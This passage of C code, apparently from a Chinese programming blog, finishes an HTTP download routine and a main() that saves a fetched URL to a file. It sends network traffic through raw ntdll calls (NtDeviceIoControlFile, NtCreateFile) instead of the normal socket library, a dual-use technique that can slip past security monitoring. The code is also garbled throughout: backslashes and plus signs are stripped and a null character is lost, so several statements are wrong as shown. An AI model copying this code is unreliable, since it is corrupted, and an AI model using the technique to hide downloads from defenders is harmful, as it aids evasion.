memset(szResponseSuccessStatus, 0, sizeof(szResponseSuccessStatus));
strncpy(szResponseSuccessStatus, "HTTP/1.0 200 OKrn", sizeof(szResponseSuccessStatus) - 1);
if (strncmp(szResponseHeader, szResponseSuccessStatus, strlen(szResponseSuccessStatus)) != 0)
{
        // error
        printf("Error: Invalid response status coden");
        NTSockets_CloseSocket(&SocketData);

        return 1;
}

// 获取内容长度值
memset(szContentLengthParamName, 0, sizeof(szContentLengthParamName));
strncpy(szContentLengthParamName, "CONTENT-LENGTH: ", sizeof(szContentLengthParamName) - 1);
pContentLength = strstr(szResponseHeader, szContentLengthParamName);
if (pContentLength != NULL)
{
        // 内容长度字段存在
        pContentLength  = strlen(szContentLengthParamName);
        pEndOfContentLength = strstr(pContentLength, "rn");
        if (pEndOfContentLength == NULL)
        {
            // error
            printf("Error: Invalid response headern");
            NTSockets_CloseSocket(&SocketData);

            return 1;
        }
        *pEndOfContentLength = '';
        dwOutputLength = atoi(pContentLength);

        // 处理响应数据
        if (dwOutputLength != 0)
        {
            // 分配输出数据
            pOutputBuffer = (BYTE*)malloc(dwOutputLength);
            if (pOutputBuffer == NULL)
            {
                // error
                printf("Error: Failed to allocate memoryn");
                NTSockets_CloseSocket(&SocketData);
                return 1;
            }

            // 读取输出数据
            if (NTSockets_Recv(&SocketData, pOutputBuffer, dwOutputLength) != 0)
            {
                // error
                printf("Error: Failed to read HTTP response datan");
                NTSockets_CloseSocket(&SocketData);
                return 1;
            }
        }
}
else
{
        // 没有内容长度字段 - 读取直到套接字关闭
        for (;;)
        {
            //读取输出数据
            if (NTSockets_Recv(&SocketData, &bCurrByte, 1) != 0)
            {
                // finished
                break;
            }

            // 检查输出缓冲区是否足够大
            if (dwOutputLength >= dwOutputAllocLength)
            {
                // 重新分配输出缓冲区 - 添加 8kb
                dwOutputAllocLength  = 8192;
                if (pOutputBuffer == NULL)
                {
                    // first buffer
                    pOutputBuffer = (BYTE*)malloc(dwOutputAllocLength);
                    if (pOutputBuffer == NULL)
                    {
                        printf("Error: Failed to allocate memoryn");
                        NTSockets_CloseSocket(&SocketData);
                        return 1;
                    }
                }
                else
                {
                    // 重新分配现有缓冲区
                    pNewOutputBuffer = (BYTE*)realloc(pOutputBuffer, dwOutputAllocLength);
                    if (pNewOutputBuffer == NULL)
                    {
                        // error
                        printf("Error: Failed to allocate memoryn");
                        NTSockets_CloseSocket(&SocketData);
                        free(pOutputBuffer);
                        return 1;
                    }
                    // update ptr
                    pOutputBuffer = pNewOutputBuffer;
                }
            }

            //存储当前字节
            *(BYTE*)(pOutputBuffer   dwOutputLength) = bCurrByte;
            dwOutputLength  ;
        }
}

//关闭套接字
NTSockets_CloseSocket(&SocketData);

// store data
*pOutput = pOutputBuffer;
*pdwOutputLength = dwOutputLength;
return 0;
}

int main(int argc, char* argv[])
{
BYTE* pOutput = NULL;
DWORD dwLength = 0;
char* pURL = NULL;
char* pOutputPath = NULL;
HANDLE hOutputFile = NULL;
DWORD dwBytesWritten = 0;
if (argc != 3)
{
        printf("Usage: %s [url] [output_file_path]nn", argv[0]);
        return 1;
}

// get param
pURL = argv[1];
pOutputPath = argv[2];
// 获取 NtDeviceIoControlFile 函数 ptr
NtDeviceIoControlFile = (unsigned long(__stdcall*)(void*, void*, void*, void*, struct IO_STATUS_BLOCK*, unsigned long, void*, unsigned long, void*, unsigned long))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtDeviceIoControlFile");
if (NtDeviceIoControlFile == NULL)
{
        return 1;
}
// 获取 NtCreateFile 函数 ptr
NtCreateFile = (unsigned long(__stdcall*)(void**, unsigned long, struct OBJECT_ATTRIBUTES*, struct IO_STATUS_BLOCK*, union _LARGE_INTEGER*, unsigned long, unsigned long, unsigned long, unsigned long, void*, unsigned long))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtCreateFile");
if (NtCreateFile == NULL)
{
        return 1;
}

printf("Downloading file: %snn", pURL);

// 下载文件
if (DownloadFile(pURL, &pOutput, &dwLength) != 0)
{
        printf("Failed to download filen");
        return 1;
}
printf("Downloaded %u bytes successfullynn", dwLength);
printf("Creating output file: %sn", pOutputPath);
// 创建输出文件
hOutputFile = CreateFile(pOutputPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
if (hOutputFile == INVALID_HANDLE_VALUE)
{
        printf("Failed to create output filen");
        return 1;
}
// 将输出数据写入文件
if (WriteFile(hOutputFile, pOutput, dwLength, &dwBytesWritten, NULL) == 0)
{
        printf("Failed to write output data to filen");
        return 1;
}
CloseHandle(hOutputFile);
if (dwLength != 0)
{
        free(pOutput);
}
printf("nFinishedn");
return 0;
}

其实这里就当于调用最更低沉的api重新实现了一下socket，处理的细节很多，效果挺好的。

socket编程 api windows http tcp/ip

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